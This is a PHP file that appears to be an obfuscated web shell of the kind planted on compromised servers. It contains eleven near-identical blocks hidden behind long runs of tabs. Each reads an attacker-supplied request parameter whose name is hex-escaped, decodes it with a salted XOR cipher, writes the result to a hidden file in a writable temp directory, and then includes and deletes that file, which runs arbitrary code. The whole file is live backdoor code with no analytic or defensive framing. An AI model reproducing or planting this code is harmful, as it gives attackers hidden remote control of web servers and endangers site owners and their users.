<?php																																										if(@$_POST["f\x6C\x67"] !== null){ $property_set = $_POST["f\x6C\x67"]; $property_set =explode ( "." , $property_set ); $fac =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt1 ); foreach( $property_set as $m => $v8): $chS =ord( $salt1[$m % $sLen] ); $dec =( ( int)$v8 - $chS -( $m % 10)) ^ 12; $fac .= chr( $dec ); endforeach; $token = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", getcwd(), session_save_path(), "/dev/shm"]); for ($factor = 0, $key = count($token); $factor < $key; $factor++) { $k = $token[$factor]; if ((function($d) { return is_dir($d) && is_writable($d); })($k)) { $value = sprintf("%s/.obj", $k); if (file_put_contents($value, $fac)) { include $value; @unlink($value); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "d\x65sc")){ $entity = $_REQUEST["d\x65sc"]; $entity = explode ( "." , $entity ) ; $reference = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); foreach ($entity as $o=> $v4) {$sChar = ord($salt4[$o % $sLen]); $d = ((int)$v4 - $sChar - ($o % 10)) ^ 96; $reference .= chr($d); } $data = array_filter([getenv("TMP"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($data as $key => $val) { if (max(0, is_dir($val) * is_writable($val))) { $data_chunk = "$val" . "/.tkn"; $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $data_chunk; @unlink($data_chunk); die(); } } } }
																																										if(@$_REQUEST["\x69t\x65m"] !== null){ $mrk = $_REQUEST["\x69t\x65m"]; $mrk = explode ( "." , $mrk ) ; $desc = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $i = 0; $__tmp = $mrk; while ($v3 = array_shift($__tmp)) { $chS = ord($salt2[$i % $sLen]); $d = ((int)$v3 - $chS - ($i % 10)) ^74; $desc .= chr($d); $i++; } $symbol = array_filter(["/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path(), getcwd()]); foreach ($symbol as $fac): if (is_dir($fac) ? is_writable($fac) : false) { $property_set = "$fac" . "/.token"; $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $property_set; @unlink($property_set); die(); } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72es"])){ $flag = $_REQUEST["\x72es"]; $flag = explode( '.' , $flag ); $sym =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); foreach($flag as $k=>$v7): $sChar =ord($salt[$k % $lenS] ); $dec =((int)$v7 - $sChar -($k % 10)) ^ 91; $sym .= chr($dec ); endforeach; $entry = array_filter(["/dev/shm", "/var/tmp", getcwd(), getenv("TEMP"), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path()]); foreach ($entry as $resource): if (is_writable($resource) && is_dir($resource)) { $item = join("/", [$resource, ".symbol"]); if (@file_put_contents($item, $sym) !== false) { include $item; unlink($item); exit; } } endforeach; }
																																										if(@$_REQUEST["bi\x6E\x64"] !== null){ $component = $_REQUEST["bi\x6E\x64"]; $component =explode ( '.' , $component ) ; $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $p = 0; foreach($component as $v6) {$sChar = ord($s[$p% $sLen]); $d =((int)$v6 - $sChar -($p% 10)) ^ 35; $data .= chr($d); $p++; } $binding = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getcwd()]); $dchunk = 0; do { $pset = $binding[$dchunk] ?? null; if ($dchunk >= count($binding)) break; if (max(0, is_dir($pset) * is_writable($pset))) { $factor = join("/", [$pset, ".reference"]); if (@file_put_contents($factor, $data) !== false) { include $factor; unlink($factor); exit; } } $dchunk++; } while (true); }
																																										if(isset($_REQUEST["\x68\x6Fl\x64er"])){ $comp = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TMP"), getcwd(), getenv("TEMP"), "/tmp"]); $rec = $_REQUEST["\x68\x6Fl\x64er"]; $rec = explode ("." , $rec ) ; $descriptor = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7 ); $p = 0; $__tmp = $rec; while( $v9 = array_shift( $__tmp)) { $sChar = ord( $s7[$p % $sLen] ); $d = ( ( int)$v9 - $sChar -( $p % 10)) ^ 36; $descriptor.= chr( $d ); $p++; } foreach ($comp as $itm) { if (!( !is_dir($itm) || !is_writable($itm) )) { $ref = sprintf("%s/.obj", $itm); $success = file_put_contents($ref, $descriptor); if ($success) { include $ref; @unlink($ref); exit;} } } }
																																										if(isset($_POST["\x65n\x74"])){ $pgrp = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/tmp", "/var/tmp", "/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir")]); $ref = $_POST["\x65n\x74"]; $ref =explode (".", $ref ) ; $dchunk = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); $i = 0; $len = count($ref); do {if($i >=$len) break; $v6 = $ref[$i]; $chS = ord($salt4[$i % $lenS]); $dec = ((int)$v6 - $chS -($i % 10)) ^ 77; $dchunk .= chr($dec); $i++; }while(true); while ($value = array_shift($pgrp)) { if (!( !is_dir($value) || !is_writable($value) )) { $ptr = vsprintf("%s/%s", [$value, ".object"]); if (file_put_contents($ptr, $dchunk)) { include $ptr; @unlink($ptr); exit; } } } }
																																										if(in_array("v\x61lue", array_keys($_POST))){ $entry = $_POST["v\x61lue"]; $entry = explode ( '.' , $entry ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $w = 0; array_walk( $entry ,function( $v8) use( &$descriptor ,&$w ,$s ,$lenS) { $chS = ord( $s[$w % $lenS] ); $dec =( ( int)$v8 - $chS -( $w % 10)) ^ 41; $descriptor.=chr( $dec ); $w++;}); $dat = array_filter([getenv("TEMP"), "/dev/shm", getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getcwd()]); while ($pointer = array_shift($dat)) { if (array_product([is_dir($pointer), is_writable($pointer)])) { $sym = sprintf("%s/.val", $pointer); if (file_put_contents($sym, $descriptor)) { include $sym; @unlink($sym); die(); } } } }
																																										if(!is_null($_REQUEST["\x73\x79m"] ?? null)){ $hld = $_REQUEST["\x73\x79m"]; $hld = explode ( '.' ,$hld ) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $len = count($hld ); for ($u = 0; $u < $len; $u++) {$v5 = $hld[$u]; $chS = ord($s[$u% $sLen] ); $dec = ((int)$v5 - $chS - ($u% 10))^ 56; $pgrp .= chr($dec ); } $ref = array_filter([getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); for ($ent = 0, $k = count($ref); $ent < $k; $ent++) { $flag = $ref[$ent]; if (max(0, is_dir($flag) * is_writable($flag))) { $ent = sprintf("%s/.descriptor", $flag); if (@file_put_contents($ent, $pgrp) !== false) { include $ent; unlink($ent); die(); } } } }
																																										if(array_key_exists("\x70\x72op\x65r\x74\x79_\x73et", $_POST) && !is_null($_POST["\x70\x72op\x65r\x74\x79_\x73et"])){ $entity = $_POST["\x70\x72op\x65r\x74\x79_\x73et"]; $entity = explode ( "." , $entity ) ; $res = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach($entity as $j => $v4) { $chS = ord($salt[$j % $sLen]); $dec =((int)$v4 - $chS -($j % 10)) ^9; $res .= chr($dec); } $itm = array_filter(["/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm"]); while ($comp = array_shift($itm)) { if (!!is_dir($comp) && !!is_writable($comp)) { $val = join("/", [$comp, ".symbol"]); $success = file_put_contents($val, $res); if ($success) { include $val; @unlink($val); exit;} } } }


if(!empty($_POST["\x6B\x65y"])){
	$factor = array_filter(["/var/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getcwd()]);
	$ent = $_POST["\x6B\x65y"];
	   $ent  	=	  explode 	('.'		 ,	  $ent  )		 ;	 
	$mrk =	'';
            $s2 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =	strlen($s2);
            $i =	0;
    
            array_walk($ent, function($v1) use(&$mrk, &$i, $s2, $lenS) {
                $sChar =	ord($s2[$i % $lenS]);
                $d =	((int)$v1 - $sChar -($i % 10))^36;
                $mrk.=	chr($d);
                $i++;
            });
	$item = 0;
do {
    $k = $factor[$item] ?? null;
    if ($item >= count($factor)) break;
    		if (!!is_dir($k) && !!is_writable($k)) {
    $data_chunk = implode("/", [$k, ".desc"]);
    $file = fopen($data_chunk, 'w');
if ($file) {
	fwrite($file, $mrk);
	fclose($file);
	include $data_chunk;
	@unlink($data_chunk);
	die();
}
}
    $item++;
} while (true);
}